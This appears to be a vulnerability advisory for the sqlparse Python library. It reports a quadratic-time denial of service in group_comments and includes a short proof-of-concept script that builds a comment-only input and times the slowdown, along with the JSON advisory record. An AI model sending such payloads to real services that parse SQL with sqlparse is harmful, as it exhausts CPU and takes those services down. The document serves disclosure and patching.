PYSEC-2026-3697

Vulnerability from pysec - Published: 2026-08-19 11:56 - Updated: 2026-08-19 12:16
VLAI
Details

Summary

A comment-only statement (-- c\n*n) may cause a Denial of Service (DoS).

Details

Location: sqlparse/engine/grouping.py:331-341 (group_comments), invoked first in group() at grouping.py:439. Reachable via sqlparse.parse() and sqlparse.format(sql, strip_comments=True).

A statement made of many single-line comments ('-- c\n' repeated) lexes in O(n) but group_comments is O(n²):

def group_comments(tlist):
    tidx, token = tlist.token_next_by(t=T.Comment)
    while token:
        eidx, end = tlist.token_not_matching(
            lambda tk: imt(tk, t=T.Comment) or tk.is_newline, idx=tidx)
        ...
        tidx, token = tlist.token_next_by(t=T.Comment, idx=tidx)

The while loop runs n times and each token_next_by / token_not_matching rescans the O(n) remaining tokens. When all tokens are comments/newlines nothing ever groups, yet the full scan is repeated per token.

Two following factors increase the severity:

  1. group_comments runs first in group() (grouping.py:439), before the _group_matching token-count guard (grouping.py:34-39). So the entire quadratic cost is paid even on oversized input. MAX_GROUPING_TOKENS does not provide protection on this vector.
  2. It sits on the primary sanitizer path: format(sql, strip_comments=True), used by query loggers, SQL firewalls, ORMs, and migration tools.

PoC

Tested using Python 3.14:

import time, sqlparse
for n in (1000, 2000, 4000):
    s = "-- c\n" * n
    t = time.perf_counter()
    sqlparse.format(s, strip_comments=True)
    print(f"n={n:5d}  format(strip_comments)={1000*(time.perf_counter()-t):7.1f} ms")

Output:

n= 1000  format(strip_comments)=  106.0 ms
n= 2000  format(strip_comments)=  403.3 ms
n= 4000  format(strip_comments)= 1602.8 ms

Time increase of ~4× per 2× input (quadratic). parse() shows the identical curve. Instrumented scan counts are exactly 1.0M / 4.0M / 16.0M tokens for n=1000/2000/4000. A ~250 KB comment-only payload forces minutes of CPU regardless of the 10000 token cap.

Impact

Denial of Service

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Impacted products
Name purl
sqlparse pkg:pypi/sqlparse
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "sqlparse",
        "purl": "pkg:pypi/sqlparse"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.0",
        "0.1.1",
        "0.1.10",
        "0.1.11",
        "0.1.12",
        "0.1.13",
        "0.1.14",
        "0.1.15",
        "0.1.16",
        "0.1.17",
        "0.1.18",
        "0.1.19",
        "0.1.2",
        "0.1.3",
        "0.1.4",
        "0.1.5",
        "0.1.6",
        "0.1.7",
        "0.1.8",
        "0.1.9",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.2.3",
        "0.2.4",
        "0.3.0",
        "0.3.1",
        "0.4.0",
        "0.4.1",
        "0.4.2",
        "0.4.3",
        "0.4.4",
        "0.5.0",
        "0.5.1",
        "0.5.2",
        "0.5.3",
        "0.5.4",
        "0.5.5"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71491",
    "GHSA-f2ff-p2ww-7p4p"
  ],
  "details": "### Summary\nA comment-only statement (`-- c\\n`*n) may cause a Denial of Service (DoS).\n\n### Details\nLocation: [sqlparse/engine/grouping.py:331-341](https://github.com/andialbrecht/sqlparse/blob/f80af6a4007f11ada847218df8c29dc859238290/sqlparse/engine/grouping.py#L332) (`group_comments`), invoked first in `group()` at `grouping.py:439`. Reachable via `sqlparse.parse()` and `sqlparse.format(sql, strip_comments=True)`.\n\nA statement made of many single-line comments (`\u0027-- c\\n\u0027` repeated) lexes in O(n) but `group_comments` is O(n\u00b2):\n\n```python\ndef group_comments(tlist):\n    tidx, token = tlist.token_next_by(t=T.Comment)\n    while token:\n        eidx, end = tlist.token_not_matching(\n            lambda tk: imt(tk, t=T.Comment) or tk.is_newline, idx=tidx)\n        ...\n        tidx, token = tlist.token_next_by(t=T.Comment, idx=tidx)\n```\n\nThe `while` loop runs n times and each `token_next_by` / `token_not_matching` rescans the O(n) remaining tokens. When all tokens are comments/newlines nothing ever groups, yet the full scan is repeated per token.\n\nTwo following factors increase the severity:\n\n1. `group_comments` runs first in `group()` (`grouping.py:439`), before the `_group_matching` token-count guard (`grouping.py:34-39`). So the entire quadratic cost is paid even on oversized input. `MAX_GROUPING_TOKENS` does not provide protection on this vector.\n2. It sits on the primary sanitizer path: `format(sql, strip_comments=True)`, used by query loggers, SQL firewalls, ORMs, and migration tools.\n\n### PoC\nTested using Python 3.14:\n\n```python\nimport time, sqlparse\nfor n in (1000, 2000, 4000):\n    s = \"-- c\\n\" * n\n    t = time.perf_counter()\n    sqlparse.format(s, strip_comments=True)\n    print(f\"n={n:5d}  format(strip_comments)={1000*(time.perf_counter()-t):7.1f} ms\")\n```\n\nOutput:\n\n```\nn= 1000  format(strip_comments)=  106.0 ms\nn= 2000  format(strip_comments)=  403.3 ms\nn= 4000  format(strip_comments)= 1602.8 ms\n```\n\nTime increase of ~4\u00d7 per 2\u00d7 input (quadratic). `parse()` shows the identical curve. Instrumented scan counts are exactly 1.0M / 4.0M / 16.0M tokens for n=1000/2000/4000. A ~250 KB comment-only payload forces minutes of CPU regardless of the 10000 token cap.\n\n### Impact\nDenial of Service",
  "id": "PYSEC-2026-3697",
  "modified": "2026-08-19T12:16:39.177334Z",
  "published": "2026-08-19T11:56:27.016412Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-f2ff-p2ww-7p4p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/commit/ef2012a5eeb491e604dea2b00d516904a3830c87"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/andialbrecht/sqlparse"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/sqlparse"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-f2ff-p2ww-7p4p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71491"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "sqlparse: Quadratic O(n\u00b2) DoS in group_comments"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.